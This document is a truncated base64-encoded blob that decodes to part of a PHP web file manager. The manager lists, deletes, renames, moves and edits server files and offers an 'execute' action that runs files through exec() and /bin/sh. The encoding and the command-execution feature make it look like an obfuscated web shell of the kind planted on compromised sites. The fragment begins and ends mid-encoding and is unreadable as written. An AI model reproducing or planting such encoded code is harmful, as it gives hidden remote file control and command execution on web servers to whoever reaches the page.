bJ2lzX2V4ZWN1dGFibGUnXSA9IEBmaWxlX2V4aXN0cygkcGF0aCAuICRkZWxpbSAuICcuJyk7CgkJCQl9IGVsc2UgewoJCQkJCWlmICghJHdpbikgewoJCQkJCQkkZmlsZVsnaXNfZXhlY3V0YWJsZSddID0gQGlzX2V4ZWN1dGFibGUoJHBhdGgpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCSRmaWxlWydpc19leGVjdXRhYmxlJ10gPSB0cnVlOwoJCQkJCX0KCQkJCX0KCQkJCWlmICgkZmlsZVsnaXNfbGluayddKSAkZmlsZVsndGFyZ2V0J10gPSBAcmVhZGxpbmsoJHBhdGgpOwoJCQkJaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgJGZpbGVbJ293bmVyX25hbWUnXSA9IEByZXNldChwb3NpeF9nZXRwd3VpZCgkZmlsZVsnb3duZXInXSkpOwoJCQkJaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSkgJGZpbGVbJ2dyb3VwX25hbWUnXSA9IEByZXNldChwb3NpeF9nZXRncmdpZCgkZmlsZVsnZ3JvdXAnXSkpOwoJCQkJJGZpbGVzW10gPSAkZmlsZTsKCQkJfQoJCX0KCQlyZXR1cm4gJGZpbGVzOwoJfSBlbHNlIHsKCQlyZXR1cm4gZmFsc2U7Cgl9Cn0KZnVuY3Rpb24gc29ydGxpc3QgKCYkbGlzdCwgJGtleSwgJHJldmVyc2UpIHsKCXF1aWNrc29ydCgkbGlzdCwgMCwgc2l6ZW9mKCRsaXN0KSAtIDEsICRrZXkpOwoJaWYgKCRyZXZlcnNlKSAkbGlzdCA9IGFycmF5X3JldmVyc2UoJGxpc3QpOwp9CmZ1bmN0aW9uIHF1aWNrc29ydCAoJiRhcnJheSwgJGZpcnN0LCAkbGFzdCwgJGtleSkgewoJaWYgKCRmaXJzdCA8ICRsYXN0KSB7CgkJJGNtcCA9ICRhcnJheVtmbG9vcigoJGZpcnN0ICsgJGxhc3QpIC8gMildWyRrZXldOwoJCSRsID0gJGZpcnN0OwoJCSRyID0gJGxhc3Q7CgkJd2hpbGUgKCRsIDw9ICRyKSB7CgkJCXdoaWxlICgkYXJyYXlbJGxdWyRrZXldIDwgJGNtcCkgJGwrKzsKCQkJd2hpbGUgKCRhcnJheVskcl1bJGtleV0gPiAkY21wKSAkci0tOwoJCQlpZiAoJGwgPD0gJHIpIHsKCQkJCSR0bXAgPSAkYXJyYXlbJGxdOwoJCQkJJGFycmF5WyRsXSA9ICRhcnJheVskcl07CgkJCQkkYXJyYXlbJHJdID0gJHRtcDsKCQkJCSRsKys7CgkJCQkkci0tOwoJCQl9CgkJfQoJCXF1aWNrc29ydCgkYXJyYXksICRmaXJzdCwgJHIsICRrZXkpOwoJCXF1aWNrc29ydCgkYXJyYXksICRsLCAkbGFzdCwgJGtleSk7Cgl9Cn0KZnVuY3Rpb24gcGVybWlzc2lvbl9vY3RhbDJzdHJpbmcgKCRtb2RlKSB7CglpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7CgkJJHR5cGUgPSAncyc7Cgl9IGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7CgkJJHR5cGUgPSAnbCc7Cgl9IGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7CgkJJHR5cGUgPSAnLSc7Cgl9IGVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7CgkJJHR5cGUgPSAnYic7Cgl9IGVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7CgkJJHR5cGUgPSAnZCc7Cgl9IGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7CgkJJHR5cGUgPSAnYyc7Cgl9IGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7CgkJJHR5cGUgPSAncCc7Cgl9IGVsc2UgewoJCSR0eXBlID0gJz8nOwoJfQoJJG93bmVyICA9ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsKCSRvd25lciAuPSAoJG1vZGUgJiAwMDIwMCkgPyAndycgOiAnLSc7CglpZiAoJG1vZGUgJiAweDgwMCkgewoJCSRvd25lciAuPSAoJG1vZGUgJiAwMDEwMCkgPyAncycgOiAnUyc7Cgl9IGVsc2UgewoJCSRvd25lciAuPSAoJG1vZGUgJiAwMDEwMCkgPyAneCcgOiAnLSc7Cgl9CgkkZ3JvdXAgID0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOwoJJGdyb3VwIC49ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsKCWlmICgkbW9kZSAmIDB4NDAwKSB7CgkJJGdyb3VwIC49ICgkbW9kZSAmIDAwMDEwKSA/ICdzJyA6ICdTJzsKCX0gZWxzZSB7CgkJJGdyb3VwIC49ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzsKCX0KCSRvdGhlciAgPSAoJG1vZGUgJiAwMDAwNCkgPyAncicgOiAnLSc7Cgkkb3RoZXIgLj0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOwoJaWYgKCRtb2RlICYgMHgyMDApIHsKCQkkb3RoZXIgLj0gKCRtb2RlICYgMDAwMDEpID8gJ3QnIDogJ1QnOwoJfSBlbHNlIHsKCQkkb3RoZXIgLj0gKCRtb2RlICYgMDAwMDEpID8gJ3gnIDogJy0nOwoJfQoJcmV0dXJuICR0eXBlIC4gJG93bmVyIC4gJGdyb3VwIC4gJG90aGVyOwp9CmZ1bmN0aW9uIGlzX3NjcmlwdCAoJGZpbGVuYW1lKSB7CglyZXR1cm4gZXJlZygnXC5waHAkfFwucGhwMyR8XC5waHA0JHxcLnBocDUkJywgJGZpbGVuYW1lKTsKfQpmdW5jdGlvbiBnZXRtaW1ldHlwZSAoJGZpbGVuYW1lKSB7CglzdGF0aWMgJG1pbWVzID0gYXJyYXkoCgkJJ1wuanBnJHxcLmpwZWckJyAgPT4gJ2ltYWdlL2pwZWcnLAoJCSdcLmdpZiQnICAgICAgICAgID0+ICdpbWFnZS9naWYnLAoJCSdcLnBuZyQnICAgICAgICAgID0+ICdpbWFnZS9wbmcnLAoJCSdcLmh0bWwkfFwuaHRtbCQnID0+ICd0ZXh0L2h0bWwnLAoJCSdcLnR4dCR8XC5hc2MkJyAgID0+ICd0ZXh0L3BsYWluJywKCQknXC54bWwkfFwueHNsJCcgICA9PiAnYXBwbGljYXRpb24veG1sJywKCQknXC5wZGYkJyAgICAgICAgICA9PiAnYXBwbGljYXRpb24vcGRmJwoJKTsKCWZvcmVhY2ggKCRtaW1lcyBhcyAkcmVnZXggPT4gJG1pbWUpIHsKCQlpZiAoZXJlZ2koJHJlZ2V4LCAkZmlsZW5hbWUpKSByZXR1cm4gJG1pbWU7Cgl9CglyZXR1cm4gJ3RleHQvcGxhaW4nOwp9CmZ1bmN0aW9uIGRlbCAoJGZpbGUpIHsKCWdsb2JhbCAkZGVsaW07CglpZiAoIUBpc19saW5rKCRmaWxlKSAmJiAhZmlsZV9leGlzdHMoJGZpbGUpKSByZXR1cm4gZmFsc2U7CglpZiAoIUBpc19saW5rKCRmaWxlKSAmJiBAaXNfZGlyKCRmaWxlKSkgewoJCWlmICgkZGlyID0gQG9wZW5kaXIoJGZpbGUpKSB7CgkJCSRlcnJvciA9IGZhbHNlOwoJCQl3aGlsZSAoKCRmID0gcmVhZGRpcigkZGlyKSkgIT09IGZhbHNlKSB7CgkJCQlpZiAoJGYgIT0gJy4nICYmICRmICE9ICcuLicgJiYgIWRlbCgkZmlsZSAuICRkZWxpbSAuICRmKSkgewoJCQkJCSRlcnJvciA9IHRydWU7CgkJCQl9CgkJCX0KCQkJY2xvc2VkaXIoJGRpcik7CgkJCWlmICghJGVycm9yKSByZXR1cm4gQHJtZGlyKCRmaWxlKTsKCQkJcmV0dXJuICEkZXJyb3I7CgkJfSBlbHNlIHsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCX0gZWxzZSB7CgkJcmV0dXJuIEB1bmxpbmsoJGZpbGUpOwoJfQp9CmZ1bmN0aW9uIGFkZHNsYXNoICgkZGlyZWN0b3J5KSB7CglnbG9iYWwgJGRlbGltOwoJaWYgKHN1YnN0cigkZGlyZWN0b3J5LCAtMSwgMSkgIT0gJGRlbGltKSB7CgkJcmV0dXJuICRkaXJlY3RvcnkgLiAkZGVsaW07Cgl9IGVsc2UgewoJCXJldHVybiAkZGlyZWN0b3J5OwoJfQp9CmZ1bmN0aW9uIHJlbGF0aXZlMmFic29sdXRlICgkc3RyaW5nLCAkZGlyZWN0b3J5KSB7CglpZiAocGF0aF9pc19yZWxhdGl2ZSgkc3RyaW5nKSkgewoJCXJldHVybiBzaW1wbGlmeV9wYXRoKGFkZHNsYXNoKCRkaXJlY3RvcnkpIC4gJHN0cmluZyk7Cgl9IGVsc2UgewoJCXJldHVybiBzaW1wbGlmeV9wYXRoKCRzdHJpbmcpOwoJfQp9CmZ1bmN0aW9uIHBhdGhfaXNfcmVsYXRpdmUgKCRwYXRoKSB7CglnbG9iYWwgJHdpbjsKCWlmICgkd2luKSB7CgkJcmV0dXJuIChzdWJzdHIoJHBhdGgsIDEsIDEpICE9ICc6Jyk7Cgl9IGVsc2UgewoJCXJldHVybiAoc3Vic3RyKCRwYXRoLCAwLCAxKSAhPSAnLycpOwoJfQp9CmZ1bmN0aW9uIGFic29sdXRlMnJlbGF0aXZlICgkZGlyZWN0b3J5LCAkdGFyZ2V0KSB7CglnbG9iYWwgJGRlbGltOwoJJHBhdGggPSAnJzsKCXdoaWxlICgkZGlyZWN0b3J5ICE9ICR0YXJnZXQpIHsKCQlpZiAoJGRpcmVjdG9yeSA9PSBzdWJzdHIoJHRhcmdldCwgMCwgc3RybGVuKCRkaXJlY3RvcnkpKSkgewoJCQkkcGF0aCAuPSBzdWJzdHIoJHRhcmdldCwgc3RybGVuKCRkaXJlY3RvcnkpKTsKCQkJYnJlYWs7CgkJfSBlbHNlIHsKCQkJJHBhdGggLj0gJy4uJyAuICRkZWxpbTsKCQkJJGRpcmVjdG9yeSA9IHN1YnN0cigkZGlyZWN0b3J5LCAwLCBzdHJycG9zKHN1YnN0cigkZGlyZWN0b3J5LCAwLCAtMSksICRkZWxpbSkgKyAxKTsKCQl9Cgl9CglpZiAoJHBhdGggPT0gJycpICRwYXRoID0gJy4nOwoJcmV0dXJuICRwYXRoOwp9CmZ1bmN0aW9uIHNpbXBsaWZ5X3BhdGggKCRwYXRoKSB7CglnbG9iYWwgJGRlbGltOwoJaWYgKEBmaWxlX2V4aXN0cygkcGF0aCkgJiYgZnVuY3Rpb25fZXhpc3RzKCdyZWFscGF0aCcpICYmIEByZWFscGF0aCgkcGF0aCkgIT0gJycpIHsKCQkkcGF0aCA9IHJlYWxwYXRoKCRwYXRoKTsKCQlpZiAoQGlzX2RpcigkcGF0aCkpIHsKCQkJcmV0dXJuIGFkZHNsYXNoKCRwYXRoKTsKCQl9IGVsc2UgewoJCQlyZXR1cm4gJHBhdGg7CgkJfQoJfQoJJHBhdHRlcm4gID0gJGRlbGltIC4gJy4nIC4gJGRlbGltOwoJaWYgKEBpc19kaXIoJHBhdGgpKSB7CgkJJHBhdGggPSBhZGRzbGFzaCgkcGF0aCk7Cgl9Cgl3aGlsZSAoc3RycG9zKCRwYXRoLCAkcGF0dGVybikgIT09IGZhbHNlKSB7CgkJJHBhdGggPSBzdHJfcmVwbGFjZSgkcGF0dGVybiwgJGRlbGltLCAkcGF0aCk7Cgl9CgkkZSA9IGFkZHNsYXNoZXMoJGRlbGltKTsKCSRyZWdleCA9ICRlIC4gJygoXC5bXlwuJyAuICRlIC4gJ11bXicgLiAkZSAuICddKil8KFwuXC5bXicgLiAkZSAuICddKyl8KFteXC5dW14nIC4gJGUgLiAnXSopKScgLiAkZSAuICdcLlwuJyAuICRlOwoJd2hpbGUgKGVyZWcoJHJlZ2V4LCAkcGF0aCkpIHsKCQkkcGF0aCA9IGVyZWdfcmVwbGFjZSgkcmVnZXgsICRkZWxpbSwgJHBhdGgpOwoJfQoJcmV0dXJuICRwYXRoOwp9CmZ1bmN0aW9uIGh1bWFuX2ZpbGVzaXplICgkZmlsZXNpemUpIHsKCSRzdWZmaWNlcyA9ICdrTUdUUEUnOwoJJG4gPSAwOwoJd2hpbGUgKCRmaWxlc2l6ZSA+PSAxMDAwKSB7CgkJJGZpbGVzaXplIC89IDEwMjQ7CgkJJG4rKzsKCX0KCSRmaWxlc2l6ZSA9IHJvdW5kKCRmaWxlc2l6ZSwgMyAtIHN0cnBvcygkZmlsZXNpemUsICcuJykpOwoJaWYgKHN0cnBvcygkZmlsZXNpemUsICcuJykgIT09IGZhbHNlKSB7CgkJd2hpbGUgKGluX2FycmF5KHN1YnN0cigkZmlsZXNpemUsIC0xLCAxKSwgYXJyYXkoJzAnLCAnLicpKSkgewoJCQkkZmlsZXNpemUgPSBzdWJzdHIoJGZpbGVzaXplLCAwLCBzdHJsZW4oJGZpbGVzaXplKSAtIDEpOwoJCX0KCX0KCSRzdWZmaXggPSAoKCRuID09IDApID8gJycgOiBzdWJzdHIoJHN1ZmZpY2VzLCAkbiAtIDEsIDEpKTsKCXJldHVybiAkZmlsZXNpemUgLiAiIHskc3VmZml4fUIiOwp9CmZ1bmN0aW9uIHN0cmlwICgmJHN0cikgewoJJHN0ciA9IHN0cmlwc2xhc2hlcygkc3RyKTsKfQpmdW5jdGlvbiBsaXN0aW5nX3BhZ2UgKCRtZXNzYWdlID0gbnVsbCkgewoJZ2xvYmFsICRzZWxmLCAkZGlyZWN0b3J5LCAkc29ydCwgJHJldmVyc2U7CglodG1sX2hlYWRlcigpOwoJJGxpc3QgPSBnZXRsaXN0KCRkaXJlY3RvcnkpOwoJaWYgKGFycmF5X2tleV9leGlzdHMoJ3NvcnQnLCAkX0dFVCkpICRzb3J0ID0gJF9HRVRbJ3NvcnQnXTsgZWxzZSAkc29ydCA9ICdmaWxlbmFtZSc7CglpZiAoYXJyYXlfa2V5X2V4aXN0cygncmV2ZXJzZScsICRfR0VUKSAmJiAkX0dFVFsncmV2ZXJzZSddID09ICd0cnVlJykgJHJldmVyc2UgPSB0cnVlOyBlbHNlICRyZXZlcnNlID0gZmFsc2U7Cglzb3J0bGlzdCgkbGlzdCwgJHNvcnQsICRyZXZlcnNlKTsKCWVjaG8gJzxoMSBzdHlsZT0ibWFyZ2luLWJvdHRvbTogMCI+TmljZTwvaDE+Cjxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4KPHRhYmxlIGlkPSJtYWluIj4KJzsKCWRpcmVjdG9yeV9jaG9pY2UoKTsKCWlmICghZW1wdHkoJG1lc3NhZ2UpKSB7CgkJc3BhY2VyKCk7CgkJZWNobyAkbWVzc2FnZTsKCX0KCWlmIChAaXNfd3JpdGFibGUoJGRpcmVjdG9yeSkpIHsKCQl1cGxvYWRfYm94KCk7CgkJY3JlYXRlX2JveCgpOwoJfSBlbHNlIHsKCQlzcGFjZXIoKTsKCX0KCWlmICgkbGlzdCkgewoJCWxpc3RpbmcoJGxpc3QpOwoJfSBlbHNlIHsKCQllY2hvIGVycm9yKCdub3RfcmVhZGFibGUnLCAkZGlyZWN0b3J5KTsKCX0KCWVjaG8gJzwvdGFibGU+CjwvZm9ybT4KJzsKCWh0bWxfZm9vdGVyKCk7Cn0KZnVuY3Rpb24gbGlzdGluZyAoJGxpc3QpIHsKCWdsb2JhbCAkZGlyZWN0b3J5LCAkaG9tZWRpciwgJHNvcnQsICRyZXZlcnNlLCAkd2luLCAkY29scywgJGRhdGVfZm9ybWF0LCAkc2VsZjsKCWVjaG8gJzx0ciBjbGFzcz0ibGlzdGluZyI+Cgk8dGggc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgdmVydGljYWwtYWxpZ246IG1pZGRsZSI+PGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9c21pbGV5IiBhbHQ9InNtaWxleSIgLz48L3RoPgonOwoJJGQgPSAnZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnJmFtcDsnOwoJaWYgKCEkcmV2ZXJzZSAmJiAkc29ydCA9PSAnZmlsZW5hbWUnKSAkciA9ICcmYW1wO3JldmVyc2U9dHJ1ZSc7IGVsc2UgJHIgPSAnJzsKCWVjaG8gIlx0PHRoIGNsYXNzPVwiZmlsZW5hbWVcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9ZmlsZW5hbWUkclwiPiIgLiB3b3JkKCdmaWxlbmFtZScpIC4gIjwvYT48L3RoPlxuIjsKCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ3NpemUnKSAkciA9ICcmYW1wO3JldmVyc2U9dHJ1ZSc7IGVsc2UgJHIgPSAnJzsKCWVjaG8gIlx0PHRoIGNsYXNzPVwic2l6ZVwiPjxhIGhyZWY9XCIkc2VsZj97JGR9c29ydD1zaXplJHJcIj4iIC4gd29yZCgnc2l6ZScpIC4gIjwvYT48L3RoPlxuIjsKCWlmICghJHdpbikgewoJCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ3Blcm1pc3Npb24nKSAkciA9ICcmYW1wO3JldmVyc2U9dHJ1ZSc7IGVsc2UgJHIgPSAnJzsKCQllY2hvICJcdDx0aCBjbGFzcz1cInBlcm1pc3Npb25faGVhZGVyXCI+PGEgaHJlZj1cIiRzZWxmP3skZH1zb3J0PXBlcm1pc3Npb24kclwiPiIgLiB3b3JkKCdwZXJtaXNzaW9uJykgLiAiPC9hPjwvdGg+XG4iOwoJCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ293bmVyJykgJHIgPSAnJmFtcDtyZXZlcnNlPXRydWUnOyBlbHNlICRyID0gJyc7CgkJZWNobyAiXHQ8dGggY2xhc3M9XCJvd25lclwiPjxhIGhyZWY9XCIkc2VsZj97JGR9c29ydD1vd25lciRyXCI+IiAuIHdvcmQoJ293bmVyJykgLiAiPC9hPjwvdGg+XG4iOwoJCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ2dyb3VwJykgJHIgPSAnJmFtcDtyZXZlcnNlPXRydWUnOyBlbHNlICRyID0gJyc7CgkJZWNobyAiXHQ8dGggY2xhc3M9XCJncm91cFwiPjxhIGhyZWY9XCIkc2VsZj97JGR9c29ydD1ncm91cCRyXCI+IiAuIHdvcmQoJ2dyb3VwJykgLiAiPC9hPjwvdGg+XG4iOwoJfQoJZWNobyAnCTx0aCBjbGFzcz0iZnVuY3Rpb25zIj4nIC4gd29yZCgnZnVuY3Rpb25zJykgLiAnPC90aD4KPC90cj4KJzsKCWZvciAoJGkgPSAwOyAkaSA8IHNpemVvZigkbGlzdCk7ICRpKyspIHsKCQkkZmlsZSA9ICRsaXN0WyRpXTsKCQkkdGltZXN0YW1wcyAgPSAnbXRpbWU6ICcgLiBkYXRlKCRkYXRlX2Zvcm1hdCwgJGZpbGVbJ210aW1lJ10pIC4gJywgJzsKCQkkdGltZXN0YW1wcyAuPSAnYXRpbWU6ICcgLiBkYXRlKCRkYXRlX2Zvcm1hdCwgJGZpbGVbJ2F0aW1lJ10pIC4gJywgJzsKCQkkdGltZXN0YW1wcyAuPSAnY3RpbWU6ICcgLiBkYXRlKCRkYXRlX2Zvcm1hdCwgJGZpbGVbJ2N0aW1lJ10pOwoJCWVjaG8gJzx0ciBjbGFzcz0ibGlzdGluZyI+Cgk8dGQgY2xhc3M9ImNoZWNrYm94Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImNoZWNrZWQnIC4gJGkgLiAnIiB2YWx1ZT0idHJ1ZSIgb25mb2N1cz0iYWN0aXZhdGUoXCdvdGhlclwnKSIgLz48L3RkPgoJPHRkIGNsYXNzPSJmaWxlbmFtZSIgdGl0bGU9IicgLiBodG1sKCR0aW1lc3RhbXBzKSAuICciPic7CgkJaWYgKCRmaWxlWydpc19saW5rJ10pIHsKCQkJZWNobyAnPGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9bGluayIgYWx0PSJsaW5rIiAvPiAnOwoJCQllY2hvIGh0bWwoJGZpbGVbJ2ZpbGVuYW1lJ10pIC4gJyAmcmFycjsgJzsKCQkJJHJlYWxfZmlsZSA9IHJlbGF0aXZlMmFic29sdXRlKCRmaWxlWyd0YXJnZXQnXSwgJGRpcmVjdG9yeSk7CgkJCWlmIChAaXNfcmVhZGFibGUoJHJlYWxfZmlsZSkpIHsKCQkJCWlmIChAaXNfZGlyKCRyZWFsX2ZpbGUpKSB7CgkJCQkJZWNobyAnWyA8YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRyZWFsX2ZpbGUpIC4gJyI+JyAuIGh0bWwoJGZpbGVbJ3RhcmdldCddKSAuICc8L2E+IF0nOwoJCQkJfSBlbHNlIHsKCQkJCQllY2hvICc8YSBocmVmPSInIC4gJHNlbGYgLiAnP2FjdGlvbj12aWV3JmFtcDtmaWxlPScgLiB1cmxlbmNvZGUoJHJlYWxfZmlsZSkgLiAnIj4nIC4gaHRtbCgkZmlsZVsndGFyZ2V0J10pIC4gJzwvYT4nOwoJCQkJfQoJCQl9IGVsc2UgewoJCQkJZWNobyBodG1sKCRmaWxlWyd0YXJnZXQnXSk7CgkJCX0KCQl9IGVsc2VpZiAoJGZpbGVbJ2lzX2RpciddKSB7CgkJCWVjaG8gJzxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPWZvbGRlciIgYWx0PSJmb2xkZXIiIC8+IFsgJzsKCQkJaWYgKCR3aW4gfHwgJGZpbGVbJ2lzX2V4ZWN1dGFibGUnXSkgewoJCQkJZWNobyAnPGEgaHJlZj0iJyAuICRzZWxmIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkZmlsZVsncGF0aCddKSAuICciPicgLiBodG1sKCRmaWxlWydmaWxlbmFtZSddKSAuICc8L2E+JzsKCQkJfSBlbHNlIHsKCQkJCWVjaG8gaHRtbCgkZmlsZVsnZmlsZW5hbWUnXSk7CgkJCX0KCQkJZWNobyAnIF0nOwoJCX0gZWxzZSB7CgkJCWlmIChzdWJzdHIoJGZpbGVbJ2ZpbGVuYW1lJ10sIDAsIDEpID09ICcuJykgewoJCQkJZWNobyAnPGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9aGlkZGVuX2ZpbGUiIGFsdD0iaGlkZGVuIGZpbGUiIC8+ICc7CgkJCX0gZWxzZSB7CgkJCQllY2hvICc8aW1nIHNyYz0iJyAuICRzZWxmIC4gJz9pbWFnZT1maWxlIiBhbHQ9ImZpbGUiIC8+ICc7CgkJCX0KCQkJaWYgKCRmaWxlWydpc19maWxlJ10gJiYgJGZpbGVbJ2lzX3JlYWRhYmxlJ10pIHsKCQkJICAgZWNobyAnPGEgaHJlZj0iJyAuICRzZWxmIC4gJz9hY3Rpb249dmlldyZhbXA7ZmlsZT0nIC4gdXJsZW5jb2RlKCRmaWxlWydwYXRoJ10pIC4gJyI+JyAuIGh0bWwoJGZpbGVbJ2ZpbGVuYW1lJ10pIC4gJzwvYT4nOwoJCQl9IGVsc2UgewoJCQkJZWNobyBodG1sKCRmaWxlWydmaWxlbmFtZSddKTsKCQkJfQoJCX0KCQlpZiAoJGZpbGVbJ3NpemUnXSA+PSAxMDAwKSB7CgkJCSRodW1hbiA9ICcgdGl0bGU9IicgLiBodW1hbl9maWxlc2l6ZSgkZmlsZVsnc2l6ZSddKSAuICciJzsKCQl9IGVsc2UgewoJCQkkaHVtYW4gPSAnJzsKCQl9CgkJZWNobyAiXHQ8dGQgY2xhc3M9XCJzaXplXCIkaHVtYW4+eyRmaWxlWydzaXplJ119IEI8L3RkPlxuIjsKCQlpZiAoISR3aW4pIHsKCQkJZWNobyAiXHQ8dGQgY2xhc3M9XCJwZXJtaXNzaW9uXCIgdGl0bGU9XCIiIC4gZGVjb2N0KCRmaWxlWydwZXJtaXNzaW9uJ10pIC4gJyI+JzsKCQkJJGwgPSAhJGZpbGVbJ2lzX2xpbmsnXSAmJiAoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0dWlkJykgfHwgJGZpbGVbJ293bmVyJ10gPT0gcG9zaXhfZ2V0dWlkKCkpOwoJCQlpZiAoJGwpIGVjaG8gJzxhIGhyZWY9IicgLiAkc2VsZiAuICc/YWN0aW9uPXBlcm1pc3Npb24mYW1wO2ZpbGU9JyAuIHVybGVuY29kZSgkZmlsZVsncGF0aCddKSAuICcmYW1wO2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+JzsKCQkJZWNobyBodG1sKHBlcm1pc3Npb25fb2N0YWwyc3RyaW5nKCRmaWxlWydwZXJtaXNzaW9uJ10pKTsKCQkJaWYgKCRsKSBlY2hvICc8L2E+JzsKCQkJZWNobyAiPC90ZD5cbiI7CgkJCWlmIChhcnJheV9rZXlfZXhpc3RzKCdvd25lcl9uYW1lJywgJGZpbGUpKSB7CgkJCQllY2hvICJcdDx0ZCBjbGFzcz1cIm93bmVyXCIgdGl0bGU9XCJ1aWQ6IHskZmlsZVsnb3duZXInXX1cIj57JGZpbGVbJ293bmVyX25hbWUnXX08L3RkPlxuIjsKCQkJfSBlbHNlIHsKCQkJCWVjaG8gIlx0PHRkIGNsYXNzPVwib3duZXJcIj57JGZpbGVbJ293bmVyJ119PC90ZD5cbiI7CgkJCX0KCQkJaWYgKGFycmF5X2tleV9leGlzdHMoJ2dyb3VwX25hbWUnLCAkZmlsZSkpIHsKCQkJCWVjaG8gIlx0PHRkIGNsYXNzPVwiZ3JvdXBcIiB0aXRsZT1cImdpZDogeyRmaWxlWydncm91cCddfVwiPnskZmlsZVsnZ3JvdXBfbmFtZSddfTwvdGQ+XG4iOwoJCQl9IGVsc2UgewoJCQkJZWNobyAiXHQ8dGQgY2xhc3M9XCJncm91cFwiPnskZmlsZVsnZ3JvdXAnXX08L3RkPlxuIjsKCQkJfQoJCX0KCQllY2hvICcJPHRkIGNsYXNzPSJmdW5jdGlvbnMiPgoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUnIC4gJGkgLiAnIiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGVbJ3BhdGgnXSkgLiAnIiAvPgonOwoJCSRhY3Rpb25zID0gYXJyYXkoKTsKCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeW1saW5rJykpIHsKCQkJJGFjdGlvbnNbXSA9ICdjcmVhdGVfc3ltbGluayc7CgkJfQoJCWlmIChAaXNfd3JpdGFibGUoZGlybmFtZSgkZmlsZVsncGF0aCddKSkpIHsKCQkJJGFjdGlvbnNbXSA9ICdkZWxldGUnOwoJCQkkYWN0aW9uc1tdID0gJ3JlbmFtZSc7CgkJCSRhY3Rpb25zW10gPSAnbW92ZSc7CgkJfQoJCWlmICgkZmlsZVsnaXNfZmlsZSddICYmICRmaWxlWydpc19yZWFkYWJsZSddKSB7CgkJCSRhY3Rpb25zW10gPSAnY29weSc7CgkJCSRhY3Rpb25zW10gPSAnZG93bmxvYWQnOwoJCQlpZiAoJGZpbGVbJ2lzX3dyaXRhYmxlJ10pICRhY3Rpb25zW10gPSAnZWRpdCc7CgkJfQoJCWlmICghJHdpbiAmJiBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSAmJiAkZmlsZVsnaXNfZmlsZSddICYmICRmaWxlWydpc19leGVjdXRhYmxlJ10gJiYgZmlsZV9leGlzdHMoJy9iaW4vc2gnKSkgewoJCQkkYWN0aW9uc1tdID0gJ2V4ZWN1dGUnOwoJCX0KCQlpZiAoc2l6ZW9mKCRhY3Rpb25zKSA+IDApIHsKCQkJZWNobyAnCQk8c2VsZWN0IGNsYXNzPSJzbWFsbCIgbmFtZT0iYWN0aW9uJyAuICRpIC4gJyIgc2l6ZT0iMSI+CgkJPG9wdGlvbiB2YWx1ZT0iIj4nIC4gc3RyX3JlcGVhdCgnJm5ic3A7JywgMzApIC4gJzwvb3B0aW9uPgonOwoJCQlmb3JlYWNoICgkYWN0aW9ucyBhcyAkYWN0aW9uKSB7CgkJCQllY2hvICJcdFx0PG9wdGlvbiB2YWx1ZT1cIiRhY3Rpb25cIj4iIC4gd29yZCgkYWN0aW9uKSAuICI8L29wdGlvbj5cbiI7CgkJCX0KCQkJZWNobyAnCQk8L3NlbGVjdD4KCQk8aW5wdXQgY2xhc3M9InNtYWxsIiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCcgLiAkaSAuICciIHZhbHVlPSIgJmd0OyAiIG9uZm9jdXM9ImFjdGl2YXRlKFwnb3RoZXJcJykiIC8+Cic7CgkJfQoJCWVjaG8gJwk8L3RkPgo8L3RyPgonOwoJfQoJZWNobyAnPHRyIGNsYXNzPSJsaXN0aW5nX2Zvb3RlciI+Cgk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0OyB2ZXJ0aWNhbC1hbGlnbjogdG9wIj48aW1nIHNyYz0iJyAuICRzZWxmIC4gJz9pbWFnZT1hcnJvdyIgYWx0PSImZ3Q7IiAvPjwvdGQ+Cgk8dGQgY29sc3Bhbj0iJyAuICgkY29scyAtIDEpIC4gJyI+CgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibnVtIiB2YWx1ZT0iJyAuIHNpemVvZigkbGlzdC